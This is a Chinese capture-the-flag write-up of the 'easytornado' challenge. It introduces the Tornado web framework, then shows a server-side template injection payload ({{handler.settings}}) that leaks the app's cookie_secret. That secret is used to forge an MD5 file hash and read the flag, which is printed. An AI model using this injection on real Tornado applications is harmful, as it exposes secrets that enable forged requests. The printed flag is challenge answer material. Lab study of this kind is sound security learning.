文章目录
- 前言
- 一、easytornado
- 1.点击获取在线场景
- 2.场景分析
- 3.访问flag.txt
- 4.访问welcome.txt
- 5.访问hints.txt
- 6.获取cookie_secret值
- 7.进行加密
- 8.获取flag
- 总结
前言
Tornado是使用Python开发的全栈式(full-stack)Web框架和异步网络库,最早由Friendfeed开发。通过使用非阻塞IO,Tornado可以处理数以万计的开放连接,是long polling、WebSockets和其他需要为用户维护长连接应用的理想选择。
Tornado 跟其他主流的Web服务器框架(主要是Python框架)不同是采用epoll非阻塞IO,响应快速,可处理数千并发连接,特别适用用于实时的Web服务。
Tornado 主要分成四个部分:
- Web 框架(包括 RequestHandler,用于创建Web程序的基类,以及各种支持类)
- 实现 HTTP 的客户端和服务器端 (HTTPServer 和 AsyncHTTPClient)
- 一个异步网络库 (IOLoop 和 IOStream)
- 一个协程库(tornado.gen) ,使得异步调用代码能够以更直接的方式书写,取代回调链接
下面是tornado实现简单web服务源码
代码语言:javascript复制import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello, world")
application = tornado.web.Application([
(r"/", MainHandler),
])
if __name__ == "__main__":
application.listen(8888)
tornado.ioloop.IOLoop.instance().start()
一、easytornado
1.点击获取在线场景
2.场景分析
3.访问flag.txt
看到了/flllllllllag这个文件,估计是flag,但是看到了上面的验证逻辑,有个filehash值,按照格式把文件名的hash值搞出来,看格式应该是MD5,但是不对。
4.访问welcome.txt
发现了render,render是渲染HTML页面用到的函数。
5.访问hints.txt
发现加密方式是MD5值是文件名的MD5加上cookie_secret这个值,之后再MD5加密。
6.获取cookie_secret值
代码语言:javascript复制http://111.200.241.244:52521/file?filename=/flag.txt&filehash=84c4fc3288f79a6d1fb4a73b2536b6c2
获取文件时报错
msg存在模板注入漏洞,读取cookie_secret
代码语言:javascript复制error?msg={{handler.settings}}
得到cookie_secret:d4326471-bd08-4d3b-af91-67fb1ecd89a0
7.进行加密
/fllllllllllllag的32位得到:3bf9f6cf685a6dd8defadabfb41a03a1
在进行第二次加密:d4326471-bd08-4d3b-af91-67fb1ecd89a03bf9f6cf685a6dd8defadabfb41a03a1
得到:da37411c3f435649c3abee7c92a1d12b
8.获取flag
代码语言:javascript复制/file?filename=/fllllllllllllag&filehash=da37411c3f435649c3abee7c92a1d12b
得到flag:flag{3f39aea39db345769397ae895edb9c70}
总结
Cookie的Secure属性:
基于安全的考虑,需要给cookie加上Secure和HttpOnly属性,HttpOnly比较好理解,设置HttpOnly=true的cookie不能被js获取到,无法用document.cookie打出cookie的内容。
Secure属性是说如果一个cookie被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用http协议是不发送的。换句话说,cookie是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这是你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。